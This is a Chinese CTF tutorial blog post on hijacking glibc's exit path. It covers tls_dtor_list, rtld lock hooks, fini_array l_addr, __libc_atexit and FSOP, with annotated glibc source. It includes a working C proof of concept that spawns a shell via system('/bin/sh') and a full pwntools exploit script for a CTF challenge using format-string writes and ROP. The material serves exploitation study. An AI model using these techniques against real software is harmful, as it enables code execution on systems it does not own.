CTF pwn 中 exit 利用姿势
pwn 小菜鸡,目前就见到这一些,如果还有再跟进吧。 (,・ω・,)
之前都写在语雀,这个挺有意思,就发布一下 exit -xiaocangxu
为什么要关注 exit 的利用?
在 CTF 的 Pwn 题目中,为什么我们需要特别注意 exit 函数的利用?首先,许多程序可能会通过调用 exit 来正常终止其执行流程。回顾一下典型的程序执行流程:程序从 start 开始,经过 _libc_start_main,最终到达 main 函数。值得注意的是,当程序通过正常的执行路径结束时,也会调用 _libc_start_main 中的 exit() 函数。
因此,如果我们能够劫持 exit 函数的执行,就有机会更容易地控制程序的执行流,从而为漏洞利用创造条件。

exit 源码分析
基于 glibc-2.31:exit 源代码
调用glibc的exit相当于调用了__run_exit_handlers:
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
注意到调用 exit 的时候 run_list_atexit 和 run_dtors 被设置为了 true, exit_function_list 被设置为了__exit_funcs;
那么接下来我们关注一下:__run_exit_handlers
/* 调用所有通过`atexit`和`on_exit`注册的函数,
按注册顺序的逆序执行,执行stdio清理,并以STATUS状态终止程序 */
void
attribute_hidden
__run_exit_handlers (
int status, // 退出状态码
struct exit_function_list **listp, // 退出函数链表指针
bool run_list_atexit, // 是否执行atexit注册的函数
bool run_dtors // 是否执行TLS析构函数
)
{
/* 1. 首先调用线程本地存储(TLS)的析构函数 */
#ifndef SHARED
// 非共享库模式下,检查__call_tls_dtors是否存在
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors) // 如果允许执行析构
__call_tls_dtors (); // 调用TLS析构函数
/* 2. 处理注册的退出函数(atexit/on_exit等)
采用循环处理可能的递归退出调用(例如退出函数中再次调用exit) */
while (true)
{
struct exit_function_list *cur;
// 加锁保护全局退出函数链表
__libc_lock_lock (__exit_funcs_lock);
restart:
cur = *listp; // 获取当前链表头节点
if (cur == NULL) // 链表为空,表示处理完成
{
// 标记退出处理完成,禁止后续注册
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break; // 退出循环
}
// 逆序遍历当前链表节点中的退出函数(从最新注册的开始)
while (cur->idx > 0)
{
// 获取当前函数结构体(索引递减实现逆序)
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
// 解锁,避免执行外部函数时死锁
__libc_lock_unlock (__exit_funcs_lock);
// 根据函数类型执行不同处理
switch (f->flavor)
{
void (*atfct) (void); // atexit函数类型
void (*onfct) (int status, void *arg); // on_exit函数类型
void (*cxafct) (void *arg, int status); // __cxa_atexit函数类型
case ef_free: // 已释放的函数,跳过
case ef_us: // 未使用的条目,跳过
break;
case ef_on: // on_exit注册的函数
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct); // 解密函数指针(安全防护)
#endif
// 调用on_exit函数,传递状态和参数
onfct (status, f->func.on.arg);
break;
case ef_at: // atexit注册的函数
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct); // 解密函数指针
#endif
atfct (); // 无参调用
break;
case ef_cxa: // __cxa_atexit注册的函数
// 标记为已释放,避免竞态条件下重复调用(BZ 22180)
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct); // 解密函数指针
#endif
// 调用__cxa_atexit函数,传递参数和状态
cxafct (f->func.cxa.arg, status);
break;
}
// 重新加锁,检查全局状态
__libc_lock_lock (__exit_funcs_lock);
// 如果在处理期间有新退出函数注册,则重新开始处理
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
goto restart; // 跳转到restart标签重新处理
}
// 当前链表节点处理完毕,移动到下一个节点
*listp = cur->next;
if (*listp != NULL) // 非最后一个节点(最后一个为静态分配,不能释放)
free (cur); // 释放当前节点内存
__libc_lock_unlock (__exit_funcs_lock); // 解锁
}
/* 3. 执行atexit注册的钩子函数 */
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ()); // 运行atexit相关钩子
/* 4. 最终调用_exit终止程序 */
_exit (status); // 不会返回,直接结束程序
}
大概的执行逻辑如下:
- TLS析构处理
先调用线程本地存储的析构函数(__call_tls_dtors),确保线程相关资源正确释放。 - 退出函数链表处理
- 逆序执行:通过
cur->idx递减遍历,实现先进后出的逆序调用。 - 线程安全:使用
__exit_funcs_lock锁保护链表操作,避免多线程竞争。 - 动态扩展处理:若在处理过程中有新函数注册(
__new_exitfn_called变化),则跳转重启循环,确保处理所有新增函数。 - 函数类型区分:根据
flavor字段处理不同类型(ef_on,ef_at,ef_cxa)的退出函数,其中:ef_on:调用on_exit注册的函数,传递状态和参数。ef_at:调用atexit注册的无参函数。ef_cxa:处理动态库的析构(__cxa_atexit),调用后标记为ef_free防止重复调用。
- 指针混淆处理:通过
PTR_DEMANGLE对函数指针解密,防止恶意篡改(安全机制)。
- 逆序执行:通过
- 资源释放与边界检查
- 释放已处理的链表节点(除静态分配的最后一个节点)。
- 处理完成后设置
__exit_funcs_done,禁止后续注册。
- 最终终止
- 执行可能的
atexit钩子后,调用_exit系统调用结束程序,确保不返回。
- 执行可能的
姿势一:__call_tls_dtors
利用原理
先发现,exit 会首先调用线程本地存储(TLS)的析构函数:
/* 1. 首先调用线程本地存储(TLS)的析构函数 */
#ifndef SHARED
// 非共享库模式下,检查__call_tls_dtors是否存在
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors) // 如果允许执行析构
__call_tls_dtors (); // 调用TLS析构函数
/* 调用析构函数。当线程从初始函数返回或进程通过 exit 函数退出时,会调用此函数。*/
void
__call_tls_dtors (void)
{
/* 循环处理 tls_dtor_list 链表中的每一个元素,直到链表为空 */
while (tls_dtor_list)
{
/* 获取当前链表节点,并将其保存在 cur 变量中 */
struct dtor_list *cur = tls_dtor_list;
/* 获取存储在当前节点中的析构函数指针 */
dtor_func func = cur->func;
#ifdef PTR_DEMANGLE
/* 如果定义了 PTR_DEMANGLE 宏,则对函数指针进行解码(如果需要) */
PTR_DEMANGLE (func);
#endif
/* 更新 tls_dtor_list 指针指向下一个节点,以便继续处理下一个析构函数 */
tls_dtor_list = tls_dtor_list->next;
/* 调用当前析构函数,传入对象指针作为参数 */
func (cur->obj);
/*
* 确保 MAP 解引用操作发生在 l_tls_dtor_count 计数器递减之前。
* 这样可以保护这个访问不受 _dl_close_worker 中潜在 DSO 卸载的影响,
* 当 l_tls_dtor_count 达到 0 时会发生卸载。更多细节请参见并发说明。
*/
atomic_fetch_add_release (&cur->map->l_tls_dtor_count, -1);
/* 释放当前节点占用的内存 */
free (cur);
}
}
/* libc_hidden_def 是一个宏,用于指定该符号应隐藏于动态链接库内部 */
libc_hidden_def (__call_tls_dtors)
为了更好地理解上述代码,我们需要了解 dtor_list 结构体的定义:
/* 定义一个用于存储TLS对象析构函数及其相关信息的链表节点结构 */
struct dtor_list
{
dtor_func func; // 析构函数指针,类型为 dtor_func,通常占用8字节(64位系统)
void *obj; // 指向需要调用析构函数的对象的指针
struct link_map *map; // 指向 link_map 结构的指针,link_map 一般用于动态链接库的管理
struct dtor_list *next; // 指向下一个 dtor_list 节点的指针,形成链表结构
};
从而我们不难得出,如果我们劫持得了tls_dtor_list链表,就可以进入循环并控制dtor_list结构体cur,从而控制其成员变量func与obj,然后实现任意函数执行,并且第一个参数可控!
如果我们查看汇编代码,可能会更清楚地计算偏移:
Dump of assembler code for function __call_tls_dtors:
0x00007ffff7c45d60 <+0>: endbr64
0x00007ffff7c45d64 <+4>: push rbp
0x00007ffff7c45d65 <+5>: push rbx
0x00007ffff7c45d66 <+6>: sub rsp,0x8
0x00007ffff7c45d6a <+10>: mov rbx,QWORD PTR [rip+0x1d401f] # 0x7ffff7e19d90
0x00007ffff7c45d71 <+17>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45d75 <+21>: test rbp,rbp
0x00007ffff7c45d78 <+24>: je 0x7ffff7c45dbd <__call_tls_dtors+93>
0x00007ffff7c45d7a <+26>: nop WORD PTR [rax+rax*1+0x0]
0x00007ffff7c45d80 <+32>: mov rdx,QWORD PTR [rbp+0x18]
0x00007ffff7c45d84 <+36>: mov rax,QWORD PTR [rbp+0x0]
0x00007ffff7c45d88 <+40>: ror rax,0x11
0x00007ffff7c45d8c <+44>: xor rax,QWORD PTR fs:0x30
0x00007ffff7c45d95 <+53>: mov QWORD PTR fs:[rbx],rdx
0x00007ffff7c45d99 <+57>: mov rdi,QWORD PTR [rbp+0x8]
0x00007ffff7c45d9d <+61>: call rax
0x00007ffff7c45d9f <+63>: mov rax,QWORD PTR [rbp+0x10]
0x00007ffff7c45da3 <+67>: lock sub QWORD PTR [rax+0x468],0x1
0x00007ffff7c45dac <+76>: mov rdi,rbp
0x00007ffff7c45daf <+79>: call 0x7ffff7c28370 <free@plt>
0x00007ffff7c45db4 <+84>: mov rbp,QWORD PTR fs:[rbx]
0x00007ffff7c45db8 <+88>: test rbp,rbp
0x00007ffff7c45dbb <+91>: jne 0x7ffff7c45d80 <__call_tls_dtors+32>
0x00007ffff7c45dbd <+93>: add rsp,0x8
0x00007ffff7c45dc1 <+97>: pop rbx
0x00007ffff7c45dc2 <+98>: pop rbp
0x00007ffff7c45dc3 <+99>: ret
End of assembler dump.
现在我们来谈谈如何实际利用这个漏洞。我们的目标是触发 system(‘/bin/sh’) 来获取 shell。
- 构造一个 chunk:使 [chunk_addr] 为加密后的 system 地址,[chunk_addr+8] 为 ‘/bin/sh’ 字符串地址。
- 泄露 ld 基地址:然后得到 fs 的基地址。
- 赋值 tls_dtor_list:将 fs-88(tls_dtor_list) 赋值为该堆地址 chunk_addr。
- 调用 exit:最后调用 exit 函数或者让程序正常从 main 函数返回结束,就可以执行 system(‘/bin/sh’) 来 getshell。
poc
// gcc -g -o poc poc.c
// 基于 ubuntu22.04(Ubuntu GLIBC 2.35-0ubuntu3.9) 编写的 poc
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned long long rol(unsigned long long value)
{
return (value << 0x11) | (value >> (64 - 0x11)) & 0xffffffffffffffff;
}
int main()
{
unsigned long long fs_base;
unsigned long long index = 0xffffffffffffffa8;
unsigned long long tls_dtor_list_addr;
unsigned long long random_num;
unsigned long long libc_base = (unsigned long long)&system - 0x50d70;
unsigned long long *str_bin_sh = (unsigned long long *)(libc_base + 0x1d8678);
asm volatile("mov %%fs:0x0, %0" : "=r"(fs_base));
printf("libc base address: 0x%llx\n", libc_base);
printf("fs base address: 0x%llx\n", fs_base);
tls_dtor_list_addr = fs_base - 88;
random_num = *(unsigned long long *)(fs_base + 0x30);
void *ptr = malloc(0x20);
*(unsigned long long *)ptr = rol((unsigned long long)&system ^ random_num);
*(unsigned long long *)(ptr + 8) = (unsigned long long)str_bin_sh;
*(unsigned long long *)tls_dtor_list_addr = (unsigned long long)ptr;
return 0;
}

劫持 rtld_lock_default_(un)lock_recursive
利用原理
exit 会先 __run_exit_handlers 接下来调用到 _dl_fini 函数 _dl_fini 函数开头的 for 循环中就调用到了rtld_lock_default_lock_recursive 函数 ,在 glibc-2.34 前的版本中,rtld_lock_default_(un)lock_recursive 实际上就是函数指针,所以有的地方把这个叫为 exit hook。

我们来看一下 _dl_fini 的源代码:
void
_dl_fini (void)
{
/* 前方高能!我们需要为所有加载的对象,在所有命名空间中调用它们的析构函数。
根据ELF规范的要求,模块间的依赖关系必须被考虑到。也就是说,一个模块的析构函数
必须在其所有依赖模块之前被调用。
更复杂的是,我们不能简单地按照构造函数的逆序来调用这些析构函数。因为用户可能通过
`dlopen` 动态加载了其他模块及其依赖项,所以我们需要从头开始重新确定模块的调用顺序。*/
/* 主命名空间的析构函数最后执行。对于其他命名空间,我们按照命名空间ID的逆序来执行它们的析构函数。*/
#ifdef SHARED
int do_audit = 0; // 是否进行审计
again: // 审计循环标签
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns) // 遍历所有的命名空间
{
/* 防止并发加载和卸载 */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* 如果命名空间为空或者用于审计DSO,则无需执行任何操作 */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
else
{
/* 分配数组以保存所有指针,并将指针复制进去 */
struct link_map *maps[nloaded];
unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* 不处理二级命名空间中的ld.so */
if (l == l->l_real)
{
assert (i < nloaded);
maps[i] = l;
l->l_idx = i;
++i;
/* 提高所有对象的 l_direct_opencount 计数,防止它们在此过程中被 dlclose() */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;
/* 对模块进行排序,跳过主命名空间搜索列表前端的二进制文件本身 */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);
/* 从此处起不再依赖加载对象的链表,因为我们有自己的列表(maps)。由于开放计数过高,
列表成员不会消失,将在循环中递减。因此释放锁,以便从析构函数间接访问此锁的代码可以正常工作。*/
__rtld_lock_unlock_recursive (GL(dl_load_lock));
/* 'maps' 现在包含按正确顺序排列的对象。现在调用析构函数。我们需要从前向后处理这个数组。*/
for (i = 0; i < nmaps; ++i)
{
struct link_map *l = maps[i];
if (l->l_init_called)
{
/* 确保如果被调用两次不会发生任何事情 */
l->l_init_called = 0;
/* 是否存在析构函数? */
if (l->l_info[DT_FINI_ARRAY] != NULL
|| l->l_info[DT_FINI] != NULL)
{
/* 调试模式下首先打印消息 */
if (__builtin_expect (GLRO(dl_debug_mask)
& DL_DEBUG_IMPCALLS, 0))
_dl_debug_printf ("\ncalling fini: %s [%lu]\n\n",
DSO_FILENAME (l->l_name),
ns);
/* 首先检查是否存在数组形式的析构函数 */
if (l->l_info[DT_FINI_ARRAY] != NULL)
{
ElfW(Addr) *array =
(ElfW(Addr) *) (l->l_addr
+ l->l_info[DT_FINI_ARRAY]->d_un.d_ptr);
// 实际上 l->l_info[DT_FINI_ARRAY]->d_un.d_ptr 指针指向程序中的 fini_array 段的地址
unsigned int i = (l->l_info[DT_FINI_ARRAYSZ]->d_un.d_val
/ sizeof (ElfW(Addr)));
while (i-- > 0)
((fini_t) array[i]) (); // 调用数组中的每个析构函数
}
/* 接下来尝试旧式的析构函数 */
if (l->l_info[DT_FINI] != NULL)
DL_CALL_DT_FINI
(l, l->l_addr + l->l_info[DT_FINI]->d_un.d_ptr);
}
#ifdef SHARED
/* 审计检查点:另一个对象关闭 */
if (!do_audit && __builtin_expect (GLRO(dl_naudit) > 0, 0))
{
struct audit_ifaces *afct = GLRO(dl_audit);
for (unsigned int cnt = 0; cnt < GLRO(dl_naudit); ++cnt)
{
if (afct->objclose != NULL)
{
struct auditstate *state
= link_map_audit_state (l, cnt);
/* 返回值被忽略 */
(void) afct->objclose (&state->cookie);
}
afct = afct->next;
}
}
#endif
}
/* 纠正之前的增量 */
--l->l_direct_opencount;
}
}
}
#ifdef SHARED
if (! do_audit && GLRO(dl_naudit) > 0)
{
do_audit = 1;
goto again; // 如果有审计需求,则再次遍历所有命名空间
}
if (__glibc_unlikely (GLRO(dl_debug_mask) & DL_DEBUG_STATISTICS))
_dl_debug_printf ("\nruntime linker statistics:\n"
" final number of relocations: %lu\n"
"final number of relocations from cache: %lu\n",
GL(dl_num_relocations),
GL(dl_num_cache_relocations)); // 输出运行时链接器统计信息
#endif
}
于是我们就得到了如下利用方法:
通过更改指向 rtld_lock_unlock_recursive (或 rtld_lock_lock_recursive ) 函数的指针,在退出时劫持程序。
需注意该函数其实在 ld 中(有的时候,可能本地和远程有偏移上的区别,可能会在地址的第 2 字节处发生变化,因此可以爆破 256 种可能得到远程环境的精确偏移,不过这个是题外话了)。
具体利用方法如下:
- 改
rtld_lock_default_lock_recursive或rtld_lock_default_unlock_recursive为one_gadget, - 改
rtld_lock_default_lock_recursive或rtld_lock_default_unlock_recursive为system,并且把_rtld_global._dl_load_lock.mutex的值改为/bin/sh\x00
劫持 fini_array 的 l->l_addr
利用原理
或许见过 fini_array 中填充数据,但是劫持 l->l_addr 是什么操作?
可以参考:de1ctf_2019_unprintable(_dl_fini的l_addr劫持妙用)_dl-fini.c-CSDN博客
修正部分的地方:
伪造 fini_array:本来l->l_addr为基地址,而l->l_info[DT_FINI_ARRAY]->d_un.d_ptr指针指向程序中的fini_array段的相对地址,如果劫持l_addr,使得l->l_addr + l->l_addr + l->l_info[DT_FINI_ARRAY]->d_un.d_ptr偏移到可控地址里,这样,我们就能在可控地址里伪造 fini_array,进而进行二次利用。
部分小 tip:
上面的 l 在调试的时候可以用:_rtld_global._dl_ns[0]._ns_loaded (要求有符号表)
DT_FINI_ARRAY 实际上就是 26。
话不多说,上一个简单的例题就明白了。
例题:nu1lCTF Junior 2025 Remake
题目如下:
保护全开,有一次非栈上格式化字符串(有点短)


关键在于如何再次执行 main ,然后执行 vuln ,看看栈,有什么可以利用的:

实际上可利用的就是下面这个:

按照上面的思路看看:



实际上就是这个啦:

思路很明显了,构造格式化字符串修改 l->l_addr,使得 _rtld_global._dl_ns[0]._ns_loaded->l_addr+_rtld_global._dl_ns[0]._ns_loaded->l_info[26]->d_un.d_ptr 中存储 main 的地址,再次执行,即可回到 main 中执行。接下来的 vuln 就简单力。
main 的存储地址(本题的 gitf !):

我们可以得到如下的 exp:
#!/usr/bin/env python3
'''
author: hamst3r
time: 2025-02-13 13:56:01
'''
from pwn import *
context(log_level="debug", arch="amd64", os="linux")
filename = "pwn_patched"
libcname = "/home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6_2.35-0ubuntu3.8_amd64/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
context.terminal = ['tmux', 'splitw', '-h']
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/libc6-dbg_2.35-0ubuntu3.8_amd64/usr/lib/debug
set directories /home/ubuntu/.config/cpwn/pkgs/2.35-0ubuntu3.8/amd64/glibc-source_2.35-0ubuntu3.8_all/usr/src/glibc/glibc-2.35
'''
def start():
if args.GDB:
return gdb.debug(elf.path, gdbscript = gs)
elif args.REMOTE:
return remote(host, port)
else:
return process(elf.path)
# return gdb.debug(elf.path, gdbscript = gs)
p = start()
payload = b'%8c%30$hhn\x00'
p.sendline(payload)
# _rtld_global._dl_ns[0]._ns_loaded->l_addr+_rtld_global._dl_ns[0]._ns_loaded->l_info[26]->d_un.d_ptr = _data_rel_ro
# 格式化字符串泄露 libc_base 和 stack_addr
p.recvuntil(b'\x80')
p.sendline(b'%11$p.%6$p.')
p.recvuntil(b'0x')
libc_base = int(p.recvuntil(b'.')[:-1], 16) - 0x265af0
success("libc_base: " + hex(libc_base))
p.recvuntil(b'0x')
stack_addr = int(p.recvuntil(b'.')[:-1], 16)
success("stack_addr: " + hex(stack_addr))
# 超长的栈上的格式化字符串
pop_rdi = libc_base + 0x000000000002a3e5
system = libc_base + libc.sym['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
success("system: " + hex(system))
success("binsh_addr: " + hex(binsh_addr))
# 调试的时候,好像溢出不到 rbp,用格式化字符串构造 ROP
payload = fmtstr_payload(
6,
{
stack_addr-0x98: pop_rdi+1,
stack_addr-0x90: pop_rdi,
stack_addr-0x88: binsh_addr,
stack_addr-0x80: system,
}
)
# attach(p, 'b *$rebase(0x125D)')
p.sendline(payload)
p.interactive()
篡改 __libc_atexit
利用原理
exit hook - 狒猩橙 - 博客园 中提到的一个有意思的劫持方法,关键代码:
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)
extern void __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit)
attribute_hidden __attribute__ ((__noreturn__));
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
uint64_t __new_exitfn_called;
/* Call all functions registered with `atexit' and `on_exit',
in the reverse of the order in which they were registered
perform stdio cleanup, and terminate program execution with STATUS. */
void
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
if (run_dtors)
__call_tls_dtors ();
__libc_lock_lock (__exit_funcs_lock);
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;
restart:
cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
...
case ef_at:
...
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());
_exit (status);
}


int __fcloseall (void)
{
/* Close all streams. */
return _IO_cleanup ();
}
上面实际上就是:
text_set_element(__libc_atexit, _IO_cleanup);
改掉 __libc_atexit (这个是一个段,参考exit()分析与利用-安全客 - 安全资讯平台) 来实现 getshell。因为是通过利用 __libc_atexit 跳转到 _IO_cleanup ,接下来就是到熟悉的 _IO_FILE 了。
- 优点是任意地址改时比上面的操作简单,所改函数就在 libc 里,而不是在 ld 里。
- 缺点是无法加参数,能不能成功取决于栈结构是否匹配
one_gadget。
FSOP
利用原理
老生常谈了,众所周知,_IO_cleanup 会做一些 IO 清理相关的工作。前文说到,exit 会执行 _IO_cleanup
int _IO_cleanup(void)
{
/* 刷新所有流 */
int result = _IO_flush_all_lockp(0);
/* 关闭所有流的缓冲区 */
_IO_unbuffer_all();
return result;
}
程序执行 _IO_flush_all_lockp 函数刷新 _IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush ,也对应着会调用 _IO_FILE_plus.vtable 中的 _IO_overflow。
接下来就是改这个 _IO_overflow,不过在高版本有 vtable 的一些校验,无法正常劫持,可以用 House of apple,House of obstack 等技巧进行配合进行后续攻击,这里就不赘述了!
参考链接
- https://imcbc.cn/202201/glibc-exit/
- https://blog.csdn.net/seaaseesa/article/details/106695358
- https://segmentfault.com/a/1190000044234700
- https://www.cnblogs.com/pwnfeifei/p/15759130.html
- https://blog.csdn.net/qq_42915526/article/details/134226214
- https://bbs.kanxue.com/thread-280518.htm
- https://elixir.bootlin.com/glibc/glibc-2.31/source/stdlib/exit.c
776

被折叠的 条评论
为什么被折叠?



